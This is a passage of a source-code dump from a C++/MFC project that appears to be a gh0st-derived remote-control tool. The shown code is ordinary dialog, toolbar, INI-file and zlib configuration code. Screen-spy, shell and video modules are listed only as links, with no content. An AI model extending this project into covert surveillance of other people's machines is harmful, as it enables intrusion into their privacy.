CPoint(CXBUTTON + DLGMARGIN,0); // move left one button width 192 | dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add it 193 | WS_VISIBLE|WS_CHILD|WS_TABSTOP|BS_DEFPUSHBUTTON, rc, _T("&OK"), IDOK); 194 | 195 | // add Cancel button 196 | rc += CPoint(CXBUTTON + DLGMARGIN,0); // move right again 197 | dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add Cancel button 198 | WS_VISIBLE|WS_CHILD|WS_TABSTOP, rc, _T("&Cancel"), IDCANCEL); 199 | 200 | return InitModalIndirect(pTempl, pParent); 201 | } 202 | 203 | ////////////////// 204 | // Initialize dialog: if I loaded a system icon, set it in static control. 205 | // 206 | BOOL CInputDialog::OnInitDialog() 207 | { 208 | if (m_hIcon) { 209 | CStatic* pStatic = (CStatic*)GetDlgItem(IDICON); 210 | ASSERT(pStatic); 211 | pStatic->SetIcon(m_hIcon); 212 | } 213 | return CDialog::OnInitDialog(); 214 | } 215 | 216 | ///////////////// 217 | // User pressed OK: check for empty string if required flag is set. 218 | // 219 | void CInputDialog::OnOK() 220 | { 221 | UpdateData(TRUE); 222 | if (m_bRequired && m_str.IsEmpty()) { 223 | MessageBeep(0); 224 | return; // don't quit dialog! 225 | } 226 | CDialog::OnOK(); 227 | } 228 | -------------------------------------------------------------------------------- /server/2015Remote/InputDlg.h: -------------------------------------------------------------------------------- 1 | //////////////////////////////////////////////////////////////// 2 | // PixieLib(TM) Copyright 1997-2005 Paul DiLascia 3 | // If this code works, it was written by Paul DiLascia. 4 | // If not, I don't know who wrote it. 5 | // Compiles with Visual Studio.NET 7.1 or greater. Set tabsize=3. 6 | // 7 | 8 | ////////////////// 9 | // Helper class to build a dialog template in memory. Only supports what's 10 | // needed for CStringDialog. 11 | // 12 | class CDlgTemplateBuilder { 13 | protected: 14 | WORD* m_pBuffer; // internal buffer holds dialog template 15 | WORD* m_pNext; // next WORD to copy stuff 16 | WORD* m_pEndBuf; // end of buffer 17 | 18 | // align ptr to nearest DWORD 19 | WORD* AlignDWORD(WORD* ptr) { 20 | ptr++; // round up to nearest DWORD 21 | LPARAM lp = (LPARAM)ptr; // convert to long 22 | lp &= 0xFFFFFFFC; // make sure on DWORD boundary 23 | return (WORD*)lp; 24 | } 25 | 26 | void AddItemTemplate(WORD wType, DWORD dwStyle, const CRect& rc, 27 | WORD nID, DWORD dwStyleEx); 28 | 29 | public: 30 | // Windows predefined atom names 31 | enum { BUTTON=0x0080, EDIT, STATIC, LISTBOX, SCROLLBAR, COMBOBOX }; 32 | 33 | CDlgTemplateBuilder(UINT nBufLen=1024); 34 | ~CDlgTemplateBuilder(); 35 | 36 | DLGTEMPLATE* GetTemplate() { return (DLGTEMPLATE*)m_pBuffer; } 37 | 38 | // functions to build the template 39 | DLGTEMPLATE* Begin(DWORD dwStyle, const CRect& rc, LPCTSTR caption, DWORD dwStyleEx=0); 40 | WORD* AddText(WORD* buf, LPCTSTR text); 41 | void AddItem(WORD wType, DWORD dwStyle, const CRect& rc, 42 | LPCTSTR text, WORD nID=-1, DWORD dwStyleEx=0); 43 | void AddItem(WORD wType, DWORD dwStyle, const CRect& rc, 44 | WORD nResID, WORD nID=-1, DWORD dwStyleEx=0); 45 | }; 46 | 47 | ////////////////// 48 | // Class to implement a simple string input dialog. Kind of like MessageBox 49 | // but it accepts a single string input from user. You provide the prompt. To 50 | // use: 51 | // 52 | // CStringDialog dlg; // string dialog 53 | // dlg.m_bRequired = m_bRequired; // if string is required 54 | // dlg.Init(_T("Title"), _T("Enter a string:"), this, IDI_QUESTION); 55 | // dlg.DoModal(); // run dialog 56 | // CString result = dlg.m_str; // whatever the user typed 57 | // 58 | class CInputDialog : public CDialog { 59 | public: 60 | CString m_str; // the string returned [in,out] 61 | BOOL m_bRequired; // string required? 62 | HICON m_hIcon; // icon if not supplied 63 | 64 | CInputDialog() { } 65 | ~CInputDialog() { } 66 | 67 | // Call this to create the template with given caption and prompt. 68 | BOOL Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent=NULL, 69 | WORD nIDIcon=(WORD)IDI_QUESTION); 70 | 71 | protected: 72 | CDlgTemplateBuilder m_dtb; // place to build/hold the dialog template 73 | enum { IDICON=1, IDEDIT }; // control IDs 74 | 75 | // MFC virtual overrides 76 | virtual BOOL OnInitDialog(); 77 | virtual void OnOK(); 78 | virtual void DoDataExchange(CDataExchange* pDX) 79 | { 80 | DDX_Text(pDX, IDEDIT, m_str); 81 | } 82 | }; 83 | 84 | -------------------------------------------------------------------------------- /server/2015Remote/RegisterDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/RegisterDlg.cpp -------------------------------------------------------------------------------- /server/2015Remote/RegisterDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/RegisterDlg.h -------------------------------------------------------------------------------- /server/2015Remote/ScreenSpyDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/ScreenSpyDlg.cpp -------------------------------------------------------------------------------- /server/2015Remote/ScreenSpyDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/ScreenSpyDlg.h -------------------------------------------------------------------------------- /server/2015Remote/ServicesDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/ServicesDlg.cpp -------------------------------------------------------------------------------- /server/2015Remote/ServicesDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/ServicesDlg.h -------------------------------------------------------------------------------- /server/2015Remote/SettingDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/SettingDlg.cpp -------------------------------------------------------------------------------- /server/2015Remote/SettingDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/SettingDlg.h -------------------------------------------------------------------------------- /server/2015Remote/ShellDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/ShellDlg.cpp -------------------------------------------------------------------------------- /server/2015Remote/ShellDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/ShellDlg.h -------------------------------------------------------------------------------- /server/2015Remote/SystemDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/SystemDlg.cpp -------------------------------------------------------------------------------- /server/2015Remote/SystemDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/SystemDlg.h -------------------------------------------------------------------------------- /server/2015Remote/TalkDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/TalkDlg.cpp -------------------------------------------------------------------------------- /server/2015Remote/TalkDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/TalkDlg.h -------------------------------------------------------------------------------- /server/2015Remote/TrueColorToolBar.cpp: -------------------------------------------------------------------------------- 1 | /***========================================================================= 2 | ==== ==== 3 | ==== D C U t i l i t y ==== 4 | ==== ==== 5 | ============================================================================= 6 | ==== ==== 7 | ==== File name : TrueColorToolBar.cpp ==== 8 | ==== Project name : Tester ==== 9 | ==== Project number : --- ==== 10 | ==== Creation date : 13/1/2003 ==== 11 | ==== Author(s) : Dany Cantin ==== 12 | ==== ==== 13 | ==== Copyright ?DCUtility 2003 ==== 14 | ==== ==== 15 | ============================================================================= 16 | ===========================================================================*/ 17 | 18 | #include "stdafx.h" 19 | #include "TrueColorToolBar.h" 20 | 21 | #ifdef _DEBUG 22 | #define new DEBUG_NEW 23 | #undef THIS_FILE 24 | static char THIS_FILE[] = __FILE__; 25 | #endif 26 | 27 | ///////////////////////////////////////////////////////////////////////////// 28 | // CTrueColorToolBar 29 | 30 | CTrueColorToolBar::CTrueColorToolBar() 31 | { 32 | m_bDropDown = FALSE; 33 | } 34 | 35 | CTrueColorToolBar::~CTrueColorToolBar() 36 | { 37 | } 38 | 39 | 40 | BEGIN_MESSAGE_MAP(CTrueColorToolBar, CToolBar) 41 | //{{AFX_MSG_MAP(CTrueColorToolBar) 42 | ON_NOTIFY_REFLECT(TBN_DROPDOWN, OnToolbarDropDown) 43 | //}}AFX_MSG_MAP 44 | END_MESSAGE_MAP() 45 | 46 | ///////////////////////////////////////////////////////////////////////////// 47 | // CTrueColorToolBar message handlers 48 | BOOL CTrueColorToolBar::LoadTrueColorToolBar(int nBtnWidth, 49 | UINT uToolBar, 50 | UINT uToolBarHot, 51 | UINT uToolBarDisabled) 52 | { 53 | if (!SetTrueColorToolBar(TB_SETIMAGELIST, uToolBar, nBtnWidth)) 54 | return FALSE; 55 | 56 | if (uToolBarHot) { 57 | if (!SetTrueColorToolBar(TB_SETHOTIMAGELIST, uToolBarHot, nBtnWidth)) 58 | return FALSE; 59 | } 60 | 61 | if (uToolBarDisabled) { 62 | if (!SetTrueColorToolBar(TB_SETDISABLEDIMAGELIST, uToolBarDisabled, nBtnWidth)) 63 | return FALSE; 64 | } 65 | 66 | return TRUE; 67 | } 68 | 69 | 70 | BOOL CTrueColorToolBar::SetTrueColorToolBar(UINT uToolBarType, 71 | UINT uToolBar, 72 | int nBtnWidth) 73 | { 74 | CImageList cImageList; 75 | CBitmap cBitmap; 76 | BITMAP bmBitmap; 77 | 78 | if (!cBitmap.Attach(LoadImage(AfxGetResourceHandle(), MAKEINTRESOURCE(uToolBar), 79 | IMAGE_BITMAP, 0, 0, 80 | LR_DEFAULTSIZE|LR_CREATEDIBSECTION)) || 81 | !cBitmap.GetBitmap(&bmBitmap)) 82 | return FALSE; 83 | 84 | CSize cSize(bmBitmap.bmWidth, bmBitmap.bmHeight); 85 | int nNbBtn = cSize.cx/nBtnWidth; 86 | RGBTRIPLE* rgb = (RGBTRIPLE*)(bmBitmap.bmBits); 87 | COLORREF rgbMask = RGB(rgb[0].rgbtRed, rgb[0].rgbtGreen, rgb[0].rgbtBlue); 88 | 89 | if (!cImageList.Create(nBtnWidth, cSize.cy, ILC_COLOR24|ILC_MASK, nNbBtn, 0)) 90 | return FALSE; 91 | 92 | if (cImageList.Add(&cBitmap, rgbMask) == -1) 93 | return FALSE; 94 | 95 | SendMessage(uToolBarType, 0, (LPARAM)cImageList.m_hImageList); 96 | cImageList.Detach(); 97 | cBitmap.Detach(); 98 | 99 | return TRUE; 100 | } 101 | 102 | void CTrueColorToolBar::AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uMenuID) 103 | { 104 | if (!m_bDropDown) { 105 | GetToolBarCtrl().SendMessage(TB_SETEXTENDEDSTYLE, 0, (LPARAM)TBSTYLE_EX_DRAWDDARROWS); 106 | m_bDropDown = TRUE; 107 | } 108 | 109 | SetButtonStyle(CommandToIndex(uButtonID), TBSTYLE_DROPDOWN); 110 | 111 | stDropDownInfo DropDownInfo; 112 | DropDownInfo.pParent = pParent; 113 | DropDownInfo.uButtonID = uButtonID; 114 | DropDownInfo.uMenuID = uMenuID; 115 | m_lstDropDownButton.Add(DropDownInfo); 116 | } 117 | 118 | void CTrueColorToolBar::OnToolbarDropDown(NMHDR* pnmh, LRESULT *plr) 119 | { 120 | NMTOOLBARA * pnmtb=(NMTOOLBARA *)pnmh; 121 | for (int i = 0; i < m_lstDropDownButton.GetSize(); ++i) { 122 | 123 | stDropDownInfo DropDownInfo = m_lstDropDownButton.GetAt(i); 124 | 125 | if (DropDownInfo.uButtonID == UINT(pnmtb->iItem)) { 126 | 127 | CMenu menu; 128 | menu.LoadMenu(DropDownInfo.uMenuID); 129 | CMenu* pPopup = menu.GetSubMenu(0); 130 | 131 | CRect rc; 132 | SendMessage(TB_GETRECT, (WPARAM)pnmtb->iItem, (LPARAM)&rc); 133 | ClientToScreen(&rc); 134 | 135 | pPopup->TrackPopupMenu(TPM_LEFTALIGN|TPM_LEFTBUTTON|TPM_VERTICAL, 136 | rc.left, rc.bottom, DropDownInfo.pParent, &rc); 137 | break; 138 | } 139 | } 140 | } -------------------------------------------------------------------------------- /server/2015Remote/TrueColorToolBar.h: -------------------------------------------------------------------------------- 1 | /***========================================================================= 2 | ==== ==== 3 | ==== D C U t i l i t y ==== 4 | ==== ==== 5 | ============================================================================= 6 | ==== ==== 7 | ==== File name : TrueColorToolBar.h ==== 8 | ==== Project name : Tester ==== 9 | ==== Project number : --- ==== 10 | ==== Creation date : 13/1/2003 ==== 11 | ==== Author(s) : Dany Cantin ==== 12 | ==== ==== 13 | ==== Copyright ?DCUtility 2003 ==== 14 | ==== ==== 15 | ============================================================================= 16 | ===========================================================================*/ 17 | 18 | 19 | #ifndef TRUECOLORTOOLBAR_H_ 20 | #define TRUECOLORTOOLBAR_H_ 21 | 22 | #if _MSC_VER > 1000 23 | #pragma once 24 | #endif // _MSC_VER > 1000 25 | 26 | 27 | #include 28 | 29 | ///////////////////////////////////////////////////////////////////////////// 30 | // CTrueColorToolBar 31 | 32 | class CTrueColorToolBar : public CToolBar 33 | { 34 | // Construction 35 | public: 36 | CTrueColorToolBar(); 37 | 38 | // Attributes 39 | private: 40 | BOOL m_bDropDown; 41 | 42 | struct stDropDownInfo { 43 | public: 44 | UINT uButtonID; 45 | UINT uMenuID; 46 | CWnd* pParent; 47 | }; 48 | 49 | CArray m_lstDropDownButton; 50 | 51 | // Operations 52 | public: 53 | BOOL LoadTrueColorToolBar(int nBtnWidth, 54 | UINT uToolBar, 55 | UINT uToolBarHot = 0, 56 | UINT uToolBarDisabled = 0); 57 | 58 | void AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uMenuID); 59 | 60 | private: 61 | BOOL SetTrueColorToolBar(UINT uToolBarType, 62 | UINT uToolBar, 63 | int nBtnWidth); 64 | 65 | // Overrides 66 | // ClassWizard generated virtual function overrides 67 | //{{AFX_VIRTUAL(CTrueColorToolBar) 68 | //}}AFX_VIRTUAL 69 | 70 | // Implementation 71 | public: 72 | virtual ~CTrueColorToolBar(); 73 | 74 | // Generated message map functions 75 | protected: 76 | //{{AFX_MSG(CTrueColorToolBar) 77 | afx_msg void OnToolbarDropDown(NMHDR* pnmh, LRESULT* plRes); 78 | //}}AFX_MSG 79 | 80 | DECLARE_MESSAGE_MAP() 81 | }; 82 | 83 | ///////////////////////////////////////////////////////////////////////////// 84 | 85 | //{{AFX_INSERT_LOCATION}} 86 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 87 | 88 | #endif // TRUECOLORTOOLBAR_H_ 89 | -------------------------------------------------------------------------------- /server/2015Remote/VideoDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/VideoDlg.cpp -------------------------------------------------------------------------------- /server/2015Remote/VideoDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/VideoDlg.h -------------------------------------------------------------------------------- /server/2015Remote/gh0st2Remote.h: -------------------------------------------------------------------------------- 1 | /************************************************************************ 2 | * @file gh0st2Remote.h 3 | * @brief 将FileManagerDlg、InputDlg、FileTransferModeDlg、TrueColorToolBar 4 | * 还原到gh0st最初版本。 5 | ************************************************************************/ 6 | 7 | #pragma once 8 | 9 | #include "IOCPServer.h" 10 | 11 | #define CIOCPServer IOCPServer 12 | 13 | #define ClientContext CONTEXT_OBJECT 14 | 15 | typedef struct 16 | { 17 | DWORD dwSizeHigh; 18 | DWORD dwSizeLow; 19 | }FILESIZE; 20 | 21 | #define m_DeCompressionBuffer InDeCompressedBuffer 22 | 23 | #define GetBufferLen GetBufferLength 24 | 25 | #define m_Dialog hDlg 26 | 27 | #define m_Socket sClientSocket 28 | 29 | #define Send OnClientPreSending 30 | 31 | #define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32)) 32 | 33 | #define MAX_WRITE_RETRY 15 // 重试写入文件次数 34 | #define MAX_SEND_BUFFER 1024 * 8 // 最大发送数据长度 35 | #define MAX_RECV_BUFFER 1024 * 8 // 最大接收数据长度 36 | -------------------------------------------------------------------------------- /server/2015Remote/iniFile.cpp: -------------------------------------------------------------------------------- 1 | #include "StdAfx.h" 2 | #include "iniFile.h" 3 | 4 | iniFile::iniFile(void) 5 | { 6 | ContructIniFile(); 7 | } 8 | 9 | BOOL iniFile::ContructIniFile() 10 | { 11 | char szFilePath[MAX_PATH] = {0}, *p = szFilePath; 12 | ::GetModuleFileName(NULL, szFilePath, sizeof(szFilePath)); 13 | while (*p) ++p; 14 | while ('\\' != *p) --p; 15 | strcpy(p+1, "settings.ini"); 16 | 17 | m_IniFilePath = szFilePath; 18 | 19 | return TRUE; 20 | } 21 | 22 | int iniFile::GetInt(CString MainKey,CString SubKey) 23 | { 24 | return ::GetPrivateProfileInt(MainKey, SubKey,0,m_IniFilePath); 25 | } 26 | 27 | BOOL iniFile::SetInt(CString MainKey,CString SubKey,int Data) 28 | { 29 | CString strData; 30 | strData.Format("%d", Data); 31 | return ::WritePrivateProfileString(MainKey, SubKey,strData,m_IniFilePath); 32 | } 33 | 34 | 35 | CString iniFile::GetStr(CString MainKey, CString SubKey, CString def) 36 | { 37 | char buf[_MAX_PATH]; 38 | ::GetPrivateProfileString(MainKey, SubKey, def, buf, sizeof(buf), m_IniFilePath); 39 | return buf; 40 | } 41 | 42 | 43 | BOOL iniFile::SetStr(CString MainKey, CString SubKey, CString Data) 44 | { 45 | return ::WritePrivateProfileString(MainKey, SubKey, Data, m_IniFilePath); 46 | } 47 | 48 | iniFile::~iniFile(void) 49 | { 50 | } 51 | -------------------------------------------------------------------------------- /server/2015Remote/iniFile.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | class iniFile 4 | { 5 | public: 6 | BOOL ContructIniFile(); 7 | int GetInt(CString MainKey,CString SubKey); 8 | BOOL SetInt(CString MainKey,CString SubKey,int Data); 9 | CString GetStr(CString MainKey,CString SubKey, CString def); 10 | BOOL SetStr(CString MainKey,CString SubKey,CString Data); 11 | CString m_IniFilePath; 12 | iniFile(void); 13 | ~iniFile(void); 14 | }; 15 | -------------------------------------------------------------------------------- /server/2015Remote/lz4/lz4.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/lz4/lz4.lib -------------------------------------------------------------------------------- /server/2015Remote/res/1.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/1.cur -------------------------------------------------------------------------------- /server/2015Remote/res/2.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/2.cur -------------------------------------------------------------------------------- /server/2015Remote/res/2015Remote.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/2015Remote.ico -------------------------------------------------------------------------------- /server/2015Remote/res/3.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/3.cur -------------------------------------------------------------------------------- /server/2015Remote/res/4.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/4.cur -------------------------------------------------------------------------------- /server/2015Remote/res/Bitmap/Online.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/Bitmap/Online.bmp -------------------------------------------------------------------------------- /server/2015Remote/res/Bitmap/ToolBar_File.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/Bitmap/ToolBar_File.bmp -------------------------------------------------------------------------------- /server/2015Remote/res/Bitmap/ToolBar_Main.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/Bitmap/ToolBar_Main.bmp -------------------------------------------------------------------------------- /server/2015Remote/res/Bitmap/bmp00001.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/Bitmap/bmp00001.bmp -------------------------------------------------------------------------------- /server/2015Remote/res/Bitmap/toolbar1.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/Bitmap/toolbar1.bmp -------------------------------------------------------------------------------- /server/2015Remote/res/Bitmap_4.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/Bitmap_4.bmp -------------------------------------------------------------------------------- /server/2015Remote/res/Bitmap_5.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/Bitmap_5.bmp -------------------------------------------------------------------------------- /server/2015Remote/res/Cur/Drag.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/Cur/Drag.cur -------------------------------------------------------------------------------- /server/2015Remote/res/Cur/MutiDrag.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/Cur/MutiDrag.cur -------------------------------------------------------------------------------- /server/2015Remote/res/My2015Remote.rc2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/My2015Remote.rc2 -------------------------------------------------------------------------------- /server/2015Remote/res/arrow.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/arrow.cur -------------------------------------------------------------------------------- /server/2015Remote/res/audio.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/audio.ico -------------------------------------------------------------------------------- /server/2015Remote/res/cmdshell.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/cmdshell.ico -------------------------------------------------------------------------------- /server/2015Remote/res/dot.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/dot.cur -------------------------------------------------------------------------------- /server/2015Remote/res/dword.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/dword.ico -------------------------------------------------------------------------------- /server/2015Remote/res/file.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/file.ico -------------------------------------------------------------------------------- /server/2015Remote/res/gh0st.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/gh0st.ico -------------------------------------------------------------------------------- /server/2015Remote/res/gh0st.rc2: -------------------------------------------------------------------------------- 1 | // 2 | // GH0ST.RC2 - resources Microsoft Visual C++ does not edit directly 3 | // 4 | 5 | #ifdef APSTUDIO_INVOKED 6 | #error this file is not editable by Microsoft Visual C++ 7 | #endif //APSTUDIO_INVOKED 8 | 9 | 10 | ///////////////////////////////////////////////////////////////////////////// 11 | // Add manually edited resources here... 12 | 13 | ///////////////////////////////////////////////////////////////////////////// 14 | -------------------------------------------------------------------------------- /server/2015Remote/res/keyboard.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/keyboard.ico -------------------------------------------------------------------------------- /server/2015Remote/res/pc.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/pc.ico -------------------------------------------------------------------------------- /server/2015Remote/res/string.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/string.ico -------------------------------------------------------------------------------- /server/2015Remote/res/system.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/system.ico -------------------------------------------------------------------------------- /server/2015Remote/res/toolbar1.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/toolbar1.bmp -------------------------------------------------------------------------------- /server/2015Remote/res/toolbar2.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/toolbar2.bmp -------------------------------------------------------------------------------- /server/2015Remote/res/webcam.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/res/webcam.ico -------------------------------------------------------------------------------- /server/2015Remote/resource.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/resource.h -------------------------------------------------------------------------------- /server/2015Remote/stdafx.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/stdafx.cpp -------------------------------------------------------------------------------- /server/2015Remote/stdafx.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/stdafx.h -------------------------------------------------------------------------------- /server/2015Remote/targetver.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/targetver.h -------------------------------------------------------------------------------- /server/2015Remote/zconf.h: -------------------------------------------------------------------------------- 1 | /* zconf.h -- configuration of the zlib compression library 2 | * Copyright (C) 1995-2016 Jean-loup Gailly, Mark Adler 3 | * For conditions of distribution and use, see copyright notice in zlib.h 4 | */ 5 | 6 | /* @(#) $Id$ */ 7 | 8 | #ifndef ZCONF_H 9 | #define ZCONF_H 10 | 11 | /* 12 | * If you *really* need a unique prefix for all types and library functions, 13 | * compile with -DZ_PREFIX. The "standard" zlib should be compiled without it. 14 | * Even better than compiling with -DZ_PREFIX would be to use configure to set 15 | * this permanently in zconf.h using "./configure --zprefix". 16 | */ 17 | #ifdef Z_PREFIX /* may be set to #if 1 by ./configure */ 18 | # define Z_PREFIX_SET 19 | 20 | /* all linked symbols and init macros */ 21 | # define _dist_code z__dist_code 22 | # define _length_code z__length_code 23 | # define _tr_align z__tr_align 24 | # define _tr_flush_bits z__tr_flush_bits 25 | # define _tr_flush_block z__tr_flush_block 26 | # define _tr_init z__tr_init 27 | # define _tr_stored_block z__tr_stored_block 28 | # define _tr_tally z__tr_tally 29 | # define adler32 z_adler32 30 | # define adler32_combine z_adler32_combine 31 | # define adler32_combine64 z_adler32_combine64 32 | # define adler32_z z_adler32_z 33 | # ifndef Z_SOLO 34 | # define compress z_compress 35 | # define compress2 z_compress2 36 | # define compressBound z_compressBound 37 | # endif 38 | # define crc32 z_crc32 39 | # define crc32_combine z_crc32_combine 40 | # define crc32_combine64 z_crc32_combine64 41 | # define crc32_z z_crc32_z 42 | # define deflate z_deflate 43 | # define deflateBound z_deflateBound 44 | # define deflateCopy z_deflateCopy 45 | # define deflateEnd z_deflateEnd 46 | # define deflateGetDictionary z_deflateGetDictionary 47 | # define deflateInit z_deflateInit 48 | # define deflateInit2 z_deflateInit2 49 | # define deflateInit2_ z_deflateInit2_ 50 | # define deflateInit_ z_deflateInit_ 51 | # define deflateParams z_deflateParams 52 | # define deflatePending z_deflatePending 53 | # define deflatePrime z_deflatePrime 54 | # define deflateReset z_deflateReset 55 | # define deflateResetKeep z_deflateResetKeep 